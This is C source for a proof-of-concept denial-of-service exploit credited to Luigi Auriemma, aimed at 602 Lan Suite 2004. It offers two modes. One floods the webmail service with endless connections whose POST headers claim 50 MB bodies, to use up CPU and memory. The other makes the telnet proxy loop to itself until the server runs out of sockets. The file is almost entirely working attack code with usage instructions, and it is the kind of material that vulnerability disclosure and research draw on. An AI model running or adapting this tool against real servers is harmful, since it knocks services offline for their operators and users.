/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define EATRAM 52428800
#define MEM "POST /mail HTTP/1.1\r\n" \
"Host: localhost\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Content-Length: %d\r\n" \
"\r\n" \
"none"

int timeout(int sock, int secs);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
int sd,
len,
pcklen,
attack;
u_short port;
u_char buff[BUFFSZ],
pck[BUFFSZ];
struct sockaddr_in peer;

setbuf(stdout, NULL);

fputs("\n"
"602 Lan Suite <= 2004.0.04.0909 resources consumption "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 4) {
printf("\n"
"Usage: %s <attack> <server> <port>\n"
"\n"
"Attack:\n"
"1 = CPU 100%% and memory eating through webmail service
(m602cl3w): will be\n"
" made infinite connections eating %d megabytes of RAM each
time, default\n"
" port of this service is 80\n"
"2 = sockets consumption through telnet proxy loop, default
port is 23\n"
"\n", argv[0], EATRAM >> 20);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

attack = atoi(argv[1]);
if(attack == 1) {
pcklen = sprintf(pck, MEM, EATRAM);
printf(
"- CPU and memory consumption attack: note that the RAM on the
server will\n"
" start to be eaten after about 15 seconds, so wait and keep
sysmon or other\n"
" resource monitors opened on the server to watch the real
effects\n"
" Will be eaten %d bytes of memory for each connection\n",
EATRAM >> 20);

for(;;) {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

fputs("- connection: ", stdout);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

if(send(sd, pck, pcklen, 0)
< 0) std_err();

if(timeout(sd, 1) < 0) {
fputs("ok\n", stdout);
} else {
fputs("rejected\n", stdout);
}

close(sd);
}

} else if(attack == 2) {
pcklen = sprintf(pck, "%s:%d\r\n", inet_ntoa(peer.sin_addr),
port);
fputs(
"- sockets consumption attack: when you will see no new output
on the screen\n"
" means the server has finished all its available sockets\n",
stdout);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
for(;;) {
if(send(sd, pck, pcklen, 0)
< 0) std_err();

if(timeout(sd, 3) < 0) {
fputs("\nServer seems vulnerable!\n", stdout);
}

len = recv(sd, buff, BUFFSZ, 0);
if(len < 0) std_err();
if(!len) break;
buff[len] = 0x00;
printf("%s\n", buff);
}
close(sd);
fputs("\nServer doesn't seem vulnerable\n\n", stdout);

} else {
fputs("\nError: you must choose an attack, 1 or 2\n\n", stdout);
}

return(0);
}

int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}